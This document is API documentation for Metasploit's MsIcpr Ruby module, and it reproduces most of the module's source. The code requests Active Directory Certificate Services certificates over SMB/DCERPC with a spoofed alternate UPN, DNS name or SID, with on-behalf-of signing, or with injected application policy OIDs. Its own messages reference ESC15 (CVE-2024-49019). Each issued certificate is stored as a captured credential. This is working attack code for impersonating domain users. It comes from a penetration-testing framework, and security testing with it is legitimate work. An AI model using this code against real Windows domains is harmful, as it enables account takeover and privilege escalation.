Module: Msf::Exploit::Remote::MsIcpr

cn (String) —

The common name for the certificate.
private_key (OpenSSL::PKey) —

The private key for the certificate.
dns (String) (defaults to: nil) —

An alternative DNS name to use.
msext_sid (String) (defaults to: nil) —

An explicit SID to specify for strong identity mapping.
msext_upn (String) (defaults to: nil) —

An alternative User Principal Name (this is a Microsoft-specific feature).
algorithm (String) (defaults to: 'SHA256') —

The algorithm to use when signing the CSR.
application_policies (Array<String>) (defaults to: []) —

OIDs to add as application policies.

Returns:

(OpenSSL::X509::Request) —

The request object.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 277

def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
  Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
    extensions = []

    subject_alt_names = []
    subject_alt_names << "DNS:#{dns}" if dns
    subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
    unless subject_alt_names.empty?
      extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false)
    end

    if msext_sid
      ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
        type_id: OID_NTDS_OBJECTSID,
        value: msext_sid
      })
      extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
    end

    unless application_policies.blank?
      application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
        certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
      )
      extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
    end

    unless extensions.empty?
      request.add_attribute(OpenSSL::X509::Attribute.new(
        'extReq',
        OpenSSL::ASN1::Set.new(
          [OpenSSL::ASN1::Sequence.new(extensions)]
        )
      ))
    end
  end
end

.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ `Rex::Proto::CryptoAsn1::Cms::ContentInfo`

Make a certificate request on behalf of another user.

Parameters:

csr (OpenSSL::X509::Request) —

The certificate request to make on behalf of the user.
on_behalf_of (String) —

The user to make the request on behalf of.
cert (OpenSSL::X509::Certificate) —

The public key to use for signing the request.
key (OpenSSL::PKey::RSA) —

The private key to use for signing the request.
algorithm (String) (defaults to: 'SHA256') —

The digest algorithm to use.

Returns:

(Rex::Proto::CryptoAsn1::Cms::ContentInfo) —

The signed request content.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 322

def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
  # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
  digest = OpenSSL::Digest.new(algorithm)
  unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
    raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
  end

  digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)

  signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
    version: 1,
    sid: {
      issuer: cert.issuer,
      serial_number: cert.serial.to_i
    },
    digest_algorithm: {
      algorithm: digest_oid
    },
    signed_attrs: [
      {
        attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
        attribute_values: [
          RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
            name: 'requestername',
            value: on_behalf_of
          ))
        ]
      },
      {
        attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
        attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
      }
    ],
    signature_algorithm: {
      algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
    }
  )
  data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
  signature = key.sign(digest, data)

  signer_info[:signature] = signature

  signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
    version: 3,
    digest_algorithms: [
      {
        algorithm: digest_oid
      }
    ],
    encap_content_info: {
      econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
      econtent: csr.to_der
    },
    certificates: [{ openssl_certificate: cert }],
    signer_infos: [signer_info]
  )

  Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
    content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
    data: signed_data
  )
end

.connect_icpr(tree) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 117

def connect_icpr(tree)
  vprint_status('Connecting to ICertPassage (ICPR) Remote Protocol')
  icpr = tree.open_file(filename: 'cert', write: true, read: true)

  vprint_status('Binding to \\cert...')
  icpr.bind(
    endpoint: RubySMB::Dcerpc::Icpr,
    auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
  )
  vprint_good('Bound to \\cert')

  icpr
end

.do_request_cert(icpr, opts) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 132

def do_request_cert(icpr, opts)
  private_key = OpenSSL::PKey::RSA.new(2048)
  user = opts[:username] || datastore['SMBUser']
  status_msg = "Requesting a certificate for user #{user}"
  alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'])
  alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
  alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
  algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
  application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
  status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
  status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
  status_msg << " - digest algorithm: #{algorithm}" if algorithm
  csr = build_csr(
    cn: user,
    private_key: private_key,
    dns: alt_dns,
    msext_sid: alt_sid,
    msext_upn: alt_upn,
    algorithm: algorithm,
    application_policies: application_policies
  )

  on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
  status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
  if @pkcs12 && on_behalf_of
    vprint_status("Building certificate request on behalf of #{on_behalf_of}")
    csr = build_on_behalf_of(
      csr: csr,
      on_behalf_of: on_behalf_of,
      cert: @pkcs12.certificate,
      key: @pkcs12.key,
      algorithm: algorithm
    )
  end

  cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE']
  status_msg << " - template: #{cert_template}"
  attributes = { 'CertificateTemplate' => cert_template }
  san = []
  san << "dns=#{alt_dns}" if alt_dns
  san << "upn=#{alt_upn}" if alt_upn
  attributes['SAN'] = san.join('&') unless san.empty?

  vprint_status(status_msg)
  response = icpr.cert_server_request(
    attributes: attributes,
    authority: datastore['CA'],
    csr: csr
  )
  case response[:status]
  when :issued
    print_good('The requested certificate was issued.')
  when :submitted
    print_warning('The requested certificate was submitted for review.')
  else
    print_error('There was an error while requesting the certificate.')
    print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
    hresult = ::WindowsError::HResult.find_by_retval(response[:disposition]).first

    if hresult
      print_error('Error details:')
      print_error("  Source:  #{hresult.facility}") if hresult.facility
      print_error("  HRESULT: #{hresult}")
    end

    case hresult
    when ::WindowsError::HResult::CERTSRV_E_ENROLL_DENIED
      raise MsIcprAuthorizationError.new(hresult.description)
    when ::WindowsError::HResult::CERTSRV_E_TEMPLATE_DENIED
      raise MsIcprAuthorizationError.new(hresult.description)
    when ::WindowsError::HResult::CERTSRV_E_UNSUPPORTED_CERT_TYPE
      raise MsIcprNotFoundError.new(hresult.description)
    else
      raise MsIcprUnknownError.new(hresult.description)
    end
  end

  return unless response[:certificate]

  policy_oids = get_cert_policy_oids(response[:certificate])
  if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty?
    print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.')
    return
  end

  if policy_oids
    print_status('Certificate Policies:')
    policy_oids.each do |oid|
      print_status("  * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
    end
  end

  unless (dns = get_cert_san_dns(response[:certificate])).empty?
    print_status("Certificate DNS: #{dns.join(', ')}")
  end

  unless (email = get_cert_san_email(response[:certificate])).empty?
    print_status("Certificate Email: #{email.join(', ')}")
  end

  if (sid = get_cert_msext_sid(response[:certificate]))
    print_status("Certificate SID: #{sid}")
  end

  unless (upn = get_cert_msext_upn(response[:certificate])).empty?
    print_status("Certificate UPN: #{upn.join(', ')}")
  end

  pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
  # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
  info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"

  service_data = icpr_service_data
  credential_data = {
    **service_data,
    address: service_data[:host],
    port: rport,
    protocol: service_data[:proto],
    service_name: service_data[:name],
    workspace_id: myworkspace_id,
    username: upn || datastore['SMBUser'],
    private_type: :pkcs12,
    # pkcs12 is a binary format, but for persisting we Base64 encode it
    private_data: Base64.strict_encode64(pkcs12.to_der),
    origin_type: :service,
    module_fullname: fullname
  }
  create_credential(credential_data)

  stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
  print_status("Certificate stored at: #{stored_path}")

  pkcs12
end

.get_cert_msext_sid(cert) ⇒ `String`^?

Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(String, nil) —

The SID if it was found, otherwise nil.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 405

def get_cert_msext_sid(cert)
  ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT }
  return unless ext

  ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der)
  return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID

  ntds_ca_security_ext[:OtherName][:value].value
end

.get_cert_msext_upn(cert) ⇒ `Array<String>`

Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(Array<String>) —

The UPNs if any were found.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 419

def get_cert_msext_upn(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:otherName][:type_id]&.value == OID_NT_PRINCIPAL_NAME
  end.map do |gn|
    RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value
  end
end

.get_cert_policy_oids(cert) ⇒ `Array<Rex::Proto::CryptoAsn1::ObjectId>`

Get the certificate policy OIDs from the certificate.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(Array<Rex::Proto::CryptoAsn1::ObjectId>) —

The policy OIDs if any were found.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 389

def get_cert_policy_oids(cert)
  ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }
  return [] unless ext

  cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
  cert_policies.value.map do |policy_info|
    oid_string = policy_info[:policyIdentifier].value
    Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)
  end
end

.get_cert_san(cert) ⇒ `Rex::Proto::CryptoAsn1::X509::SubjectAltName`

Get the SubjectAltName (SAN) field from the certificate.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(Rex::Proto::CryptoAsn1::X509::SubjectAltName) —

The parsed SAN.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 433

def get_cert_san(cert)
  ext = cert.extensions.find { |e| e.oid == 'subjectAltName' }
  return unless ext

  Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der)
end

.get_cert_san_dns(cert) ⇒ `Array<String>`

Get the DNS hostnames from the certificate.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(Array<String>) —

The DNS names if any were found.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 444

def get_cert_san_dns(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:dNSName].value?
  end.map do |gn|
    gn[:dNSName].value
  end
end

.get_cert_san_email(cert) ⇒ `Array<String>`

Get the E-mail addresses from the certificate.

Parameters:

cert (OpenSSL::X509::Certificate)

Returns:

(Array<String>) —

The E-mail addresses if any were found.

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 458

def get_cert_san_email(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:rfc822Name].value?
  end.map do |gn|
    gn[:rfc822Name].value
  end
end

.icpr_service_data ⇒ `Object`

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 468

def icpr_service_data
  {
    host: rhost,
    port: rport,
    host_name: simple.client.default_name,
    proto: 'tcp',
    name: 'smb',
    info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
  }
end

Instance Method Details

#initialize(info = {}) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 38

def initialize(info = {})
  super

  register_options([
    OptString.new('CA', [ true, 'The target certificate authority' ]),
    OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
    OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
    OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
    OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
    OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
    OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
    OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
    Opt::RPORT(445)
  ], Msf::Exploit::Remote::MsIcpr)

  register_advanced_options([
    OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
  ])
end

#request_certificate(opts = {}) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 87

def request_certificate(opts = {})
  tree = opts[:tree] || connect_ipc

  begin
    icpr = connect_icpr(tree)
  rescue RubySMB::Error::UnexpectedStatusCode => e
    if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
      # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
      raise MsIcprNotFoundError, 'Connection failed (AD CS was not found).'
    end

    elog(e.message, error: e)
    raise MsIcprUnexpectedReplyError, "Connection failed (unexpected status: #{e.status_name})"
  end

  do_request_cert(icpr, opts)

rescue RubySMB::Dcerpc::Error::FaultError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, "Operation failed (DCERPC fault: #{e.status_name})"
rescue RubySMB::Dcerpc::Error::DcerpcError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, e.message
rescue RubySMB::Error::RubySMBError
  elog(e.message, error: e)
  raise MsIcprUnknownError, e.message
end

#setup ⇒ `Object`

Raises:

(OptionValidateError)

# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 58

def setup
  errors = {}
  if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
    errors['ALT_SID'] = 'Must be a valid SID.'
  end

  if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
    errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
  end

  if datastore['ON_BEHALF_OF'].present?
    errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
    errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
  end

  @pkcs12 = nil
  if datastore['PFX'].present?
    begin
      @pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
    rescue StandardError => e
      errors['PFX'] = "Failed to load the PFX file (#{e})"
    end
  end

  raise OptionValidateError, errors unless errors.empty?

  super
end

Module: Msf::Exploit::Remote::MsIcpr

Defined Under Namespace

Constant Summary collapse

Constants included from DCERPC

Constants included from DCERPC_LSA

Constants included from DCERPC_MGMT

Constants included from SMB::Client

Instance Attribute Summary

Attributes included from DCERPC

Attributes included from Tcp

Attributes included from SMB::Client

Class Method Summary collapse

Instance Method Summary collapse

Methods included from DCERPC

Methods included from DCERPC_LSA

Methods included from DCERPC_MGMT

Methods included from DCERPC_EPM

Methods included from Tcp

Methods included from SMB::Client::Ipc

Methods included from Auxiliary::Report

Methods included from Metasploit::Framework::Require

Methods included from Kerberos::ServiceAuthenticator::Options

Methods included from Kerberos::Ticket::Storage

Methods included from SMB::Client

Class Method Details

.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) ⇒ OpenSSL::X509::Request

.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ Rex::Proto::CryptoAsn1::Cms::ContentInfo

.connect_icpr(tree) ⇒ Object

.do_request_cert(icpr, opts) ⇒ Object

.get_cert_msext_sid(cert) ⇒ String?

.get_cert_msext_upn(cert) ⇒ Array<String>

.get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>

.get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName

.get_cert_san_dns(cert) ⇒ Array<String>

.get_cert_san_email(cert) ⇒ Array<String>

.icpr_service_data ⇒ Object

Instance Method Details

#initialize(info = {}) ⇒ Object

#request_certificate(opts = {}) ⇒ Object

#setup ⇒ Object

.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) ⇒ `OpenSSL::X509::Request`

.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ `Rex::Proto::CryptoAsn1::Cms::ContentInfo`

.connect_icpr(tree) ⇒ `Object`

.do_request_cert(icpr, opts) ⇒ `Object`

.get_cert_msext_sid(cert) ⇒ `String`^?

.get_cert_msext_upn(cert) ⇒ `Array<String>`

.get_cert_policy_oids(cert) ⇒ `Array<Rex::Proto::CryptoAsn1::ObjectId>`

.get_cert_san(cert) ⇒ `Rex::Proto::CryptoAsn1::X509::SubjectAltName`

.get_cert_san_dns(cert) ⇒ `Array<String>`

.get_cert_san_email(cert) ⇒ `Array<String>`

.icpr_service_data ⇒ `Object`

#initialize(info = {}) ⇒ `Object`

#request_certificate(opts = {}) ⇒ `Object`

#setup ⇒ `Object`